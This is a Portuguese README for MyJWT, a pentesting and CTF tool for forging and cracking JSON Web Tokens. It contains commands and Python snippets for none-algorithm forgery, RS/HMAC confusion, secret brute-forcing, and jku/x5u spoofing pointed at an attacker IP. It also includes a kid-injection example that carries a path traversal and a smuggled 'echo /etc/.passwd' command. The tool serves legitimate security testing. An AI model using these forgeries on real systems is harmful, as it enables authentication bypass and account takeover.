
Uma CLI para quebra e teste de vulnerabilidades em JSON Web Token (JWT)
Esta cli é para pentesters, jogadores de CTF ou desenvolvedores.
Você pode modificar seu jwt, assinar, injetar, etc...
Verifique a Documentação para mais informações.
Se você encontrar problemas ou melhorias, envie uma issue. Responderei o mais rápido possível.
Aproveite :)
Documentação disponível em http://myjwt.readthedocs.io
Para instalar myjwt, use simplesmente o pip:
pip install myjwt
Para executar myjwt a partir de uma imagem docker, execute:
docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# montar volume para wordlist
docker run -v $(pwd)/wordlist:/home/wordlist/ -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# No Windows
docker run -v %CD%/wordlist:/home/wordlist/ -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
Para instalar myjwt a partir do git:
git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help
Para instalar myjwt no BlackArch:
pacman -S myjwt
$ myjwt --help
Uso: myjwt [OPÇÕES] JWT
Esta cli é para pentesters, jogadores de CTF ou desenvolvedores.
Você pode modificar seu jwt, assinar, injetar, etc...
Documentação completa em http://myjwt.readthedocs.io.
Se você encontrar problemas ou melhorias, envie uma issue. Responderei o mais rápido possível.
Aproveite :)
Todos os novos jwt serão copiados para a área de transferência.
Opções:
--version Mostra a versão e sai.
--full-payload TEXTO Novo payload para seu jwt. Formato Json obrigatório.
-h, --add-header TEXTO Adiciona uma nova chave, valor ao cabeçalho do seu jwt; se a chave já existir, o valor antigo será substituído. Formato: chave=valor.
-p, --add-payload TEXTO Adiciona uma nova chave, valor ao payload do seu jwt; se a chave já existir, o valor antigo será substituído. Formato: chave=valor.
--sign TEXTO Assine seu jwt com a chave fornecida.
--verify TEXTO Verifique sua chave.
-none, --none-vulnerability Verifica vulnerabilidade None Alg.
--hmac CAMINHO Verifica vulnerabilidade Alg RS/HMAC e assina seu jwt com chave pública.
--bruteforce CAMINHO Força bruta para adivinhar o segredo usado para assinar o token.
-r, --crack TEXTO regex para iterar todas as possibilidades de string para adivinhar o segredo usado para assinar o token.
--kid TEXTO Injeção SQL Kid
--jku TEXTO Cabeçalho Jku para contornar autenticação
--x5u TEXTO Cabeçalho X5u para contornar autenticação
--crt CAMINHO Para x5cHeader, forçar arquivo crt
--key CAMINHO Para cabeçalhos jku ou x5c, forçar chave privada para seu arquivo de chave
--file TEXTO Para cabeçalho jku, forçar nome do arquivo sem extensão .json
--print Exibe JWT decodificado
-u, --url URL URL para enviar seu jwt.
-m, --method TEXTO Método usado para enviar requisição para a URL. (Padrão GET).
-d, --data TEXTO Dados enviados para sua URL. Formato: chave=valor. Se valor = MY_JWT, o valor será substituído pelo novo jwt.
-c, --cookies TEXTO Cookies para enviar para sua URL. Formato: chave=valor. Se valor = MY_JWT, o valor será substituído pelo novo jwt.
--help Mostra esta mensagem de ajuda e sai.
| Opção | Tipo | Exemplo | ajuda |
|---|---|---|---|
| --sign | texto | mysecretkey | Assine seu jwt com sua chave |
| --verify | texto | mysecretkey | Verifique sua chave. |
myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"
from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]
Exemplo completo aqui: 01-modify-jwt
myjwt YOUR_JWT --none-vulnerability
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])
Exemplo completo aqui: 02-none-vulnerability
myjwt YOUR_JWT --sign YOUR_KEY
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)
Exemplo completo aqui: 03-sign-key
myjwt YOUR_JWT --bruteforce PATH
from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)
Exemplo completo aqui: 04-brute-force
myjwt YOUR_JWT --crack REGEX
myjwt YOUR_JWT --hmac FILE
from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)
Exemplo completo aqui: 05-rsa-hmac-confusion
myjwt YOUR_JWT --kid INJECTION
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid
injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)
Exemplo completo aqui: 06-kid-injection
myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"
myjwt YOUR_JWT --jku YOUR_URL
from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)
Exemplo completo aqui: 07-jku-bypass
myjwt YOUR_JWT --x5u YOUR_URL
from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)
Exemplo completo aqui: 08-x5u-bypass
Verifique as releases do GitHub. A mais recente está disponível em https://github.com/mBouamama/MyJWT/releases/latest
make lintmake testO registro ficou bastante extenso. Foi movido para seu próprio arquivo.
Veja CHANGES.
| Opção | Tipo | Exemplo | ajuda |
|---|
| --ful-payload | JSON | {"user": "admin"} | Novo payload para seu jwt. |
| -h, --add-header | chave=valor | user=admin | Adiciona uma nova chave, valor ao cabeçalho do seu jwt; se a chave já existir, o valor antigo será substituído. |
| -p, --add-payload | chave=valor | user=admin | Adiciona uma nova chave, valor ao payload do seu jwt; se a chave já existir, o valor antigo será substituído. |
| Opção | Tipo | Exemplo | ajuda |
|---|
| -none, --none-vulnerability | Nada | Verifica vulnerabilidade None Alg. | |
| --hmac | CAMINHO | ./public.pem | Verifica vulnerabilidade Alg RS/HMAC e assina seu jwt com chave pública. |
| --bruteforce | CAMINHO | ./wordlist/big.txt | Força bruta para adivinhar o segredo usado para assinar o token. Use arquivo txt com todas as senhas armazenadas (1 por linha) |
| --crack | REGEX | "[a-z]{4}" | regex para iterar todas as possibilidades de string para adivinhar o segredo usado para assinar o token. |
| --kid | texto | "00; echo /etc/.passwd" | Injeção SQL Kid |
| --jku | texto | MEUIP_PUBLICO | Cabeçalho Jku para contornar autenticação; use --file se quiser alterar o nome do arquivo jwks, e --key se quiser usar seu próprio pem privado. |
| --x5u | texto | MEUIP_PUBLICO | Cabeçalho X5u para contornar autenticação; use --file se quiser alterar o nome do arquivo jwks, e --key se quiser usar seu próprio pem privado. |
| Opção | Tipo | Exemplo | ajuda |
|---|
| -u, --url | URL | http://challenge01.root-me.org/web-serveur/ch59/admin | URL para enviar seu jwt. |
| -m, --method | texto | POST | Método usado para enviar requisição para a URL. (Padrão: GET). |
| -d, --data | chave=valor | secret=MY_JWT | Dados enviados para sua URL. Formato: chave=valor. Se valor = MY_JWT, o valor será substituído pelo seu novo jwt. |
| -c, --cookies | chave=valor | secret=MY_JWT | Cookies para enviar para sua URL. Formato: chave=valor. Se valor = MY_JWT, o valor será substituído pelo seu novo jwt. |
| Opção | Tipo | Exemplo | ajuda |
|---|
| --crt | CAMINHO | ./public.crt | Para x5cHeader, forçar arquivo crt |
| --key | CAMINHO | ./private.pem | Para cabeçalhos jku ou x5c, forçar chave privada para seu arquivo de chave |
| --file | texto | myfile | Para cabeçalho jku, forçar nome do arquivo sem extensão .json |
| Nada | Exibe JWT decodificado | ||
| --help | Nada | Mostra mensagem de ajuda e sai. | |
| --version | Nada | Mostra a versão do Myjwt |